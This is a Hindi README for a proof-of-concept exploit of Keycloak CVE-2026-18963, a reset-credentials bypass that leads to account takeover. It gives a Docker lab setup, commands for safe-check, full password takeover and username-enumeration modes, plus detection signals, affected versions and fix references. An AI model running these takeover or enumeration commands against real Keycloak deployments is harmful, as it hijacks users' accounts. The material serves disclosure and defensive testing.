CVE-2026-18963

Keycloak reset-credentials बायपास → अनधिकृत खाता अधिग्रहण CVSS 9.1 | प्रभावित: Keycloak 26.0.0 – 26.7.1

लेआउट

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

आवश्यकताएँ

Docker + Docker Compose
Python 3.9+ (केवल मानक लाइब्रेरी, कुछ भी इंस्टॉल करने की आवश्यकता नहीं)
Linux

चरण 1: लैब प्रारंभ करें

docker compose up -d

या फिर realm आयात के बिना, सीधे Keycloak चलाएँ:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Keycloak के बूट होने में पूरा होने के लिए ~30–60 सेकंड प्रतीक्षा करें।

सेवाएँ

सेवा	URL	संस्करण	स्थिति
kc-vuln	http://localhost:8080	26.7.1	VULNERABLE ⚠️
Mailpit	http://localhost:8025	latest	ईमेल कैप्चर करता है

डिफ़ॉल्ट क्रेडेंशियल

Keycloak एडमिन: admin / admin
विक्टिम उपयोगकर्ता: victim / OriginalPassw0rd!
रियल्म: poc | क्लाइंट: poc-app
कॉन्फ़िग सत्यापित करें: Realm settings → Login टैब → Forgot password ON है।
यदि poc रियल्म या victim उपयोगकर्ता अनुपस्थित है, तो इसे मैन्युअल रूप से आयात करें: Manage realms → Create realm → realm-poc.json अपलोड करें।

चरण 2: PoC चलाएँ

सुरक्षित जाँच (कोई उपयोगकर्ता नाम आवश्यक नहीं, कोई दुष्प्रभाव नहीं)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

kc-vuln पर अपेक्षित परिणाम: [!] VULNERABLE — email gate execution served

गैर-विनाशकारी प्रमाण (Update Password फ़ॉर्म पर रुक जाता है)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

साइड इफेक्ट: पीड़ित को एक रीसेट ईमेल भेजा जाता है (इसे http://localhost:8025 पर देखें), और emailVerified को true पर सेट किया जाता है।

पूर्ण अधिग्रहण

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

इसके बाद, http://localhost:8080/realms/poc/account पर victim / PoCPassw0rd!1 के साथ लॉग इन करके सत्यापित करें।

उपयोगकर्ता नाम गणना

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

चरण 3: शिकार को उसकी प्रारंभिक स्थिति में रीसेट करें

realm केवल पहले बूट पर आयात किया जाता है, इसलिए सबसे सरल रीसेट वातावरण को शुरू से फिर से बनाना है:

docker compose down -v && docker compose up -d

वैकल्पिक रूप से, एडमिन कंसोल (http://localhost:8080/admin) में पासवर्ड मैन्युअल रूप से रीसेट करें: Users → victim → Credentials → Reset password → OriginalPassw0rd!.

Teardown

docker compose down -v

डिटेक्शन सिग्नल

सिग्नल	वैध	एक्सप्लॉइट
`GET /login-actions/action-token?...`	✅ हाँ	❌ नहीं
`POST .../reset-credentials` बॉडी `tryAnotherWay=yes` के साथ	❌ नहीं	✅ हाँ
`SEND_RESET_PASSWORD` → `UPDATE_PASSWORD` समान `code_id` के साथ < 2 सेकंड	दुर्लभ	✅ हमेशा
`emailVerified` बिना किसी `VERIFY_EMAIL` इवेंट के `true` में बदल जाता है	❌	✅ हमेशा

Mailpit (http://localhost:8025) में पासवर्ड-रीसेट ईमेल पीड़ित के मेलबॉक्स में पहुँचता है, लेकिन जब एक्सप्लॉइट सफल होता है तो उसके अंदर के लिंक पर कभी क्लिक नहीं किया जाता।

प्रभावित संस्करण

रिलीज़ लाइन	प्रभावित	फ़िक्स
≤ 17 (WildFly)	नहीं	—
26.0 – 26.3	26.0.0 – 26.x.x	कोई नहीं (26.7.2 पर जाना आवश्यक)
26.4	26.4.0 – 26.4.14	26.4.15 (वेंडर बैकपोर्ट)
26.5	26.5.0 – 26.5.7	कोई नहीं
26.6	26.6.0 – 26.6.5	26.6.6 (वेंडर बैकपोर्ट)
26.7	26.7.0 – 26.7.1	26.7.2 ✅

26.0 से पहले के संस्करण प्रभावित नहीं हैं: स्टिकी AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED नोट और रीसेट फ़्लो में "Try another way" सेलेक्टर स्क्रीन 26.0.0 में पेश किए गए थे। पुराने बिल्ड में बस कमज़ोर कोड पाथ नहीं है — यह पैच होने के समान नहीं है।

संदर्भ

Sploitus (मूल README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
Keycloak इश्यू: https://github.com/keycloak/keycloak/issues/51833
फ़िक्स PR: https://github.com/keycloak/keycloak/pull/51844
GHSA: GHSA-4gv3-mc9p-5wqc
Red Hat: https://access.redhat.com/security/cve/cve-2026-18963

Keycloak_CVE-2026-18963_PoC

सबसे लोकप्रिय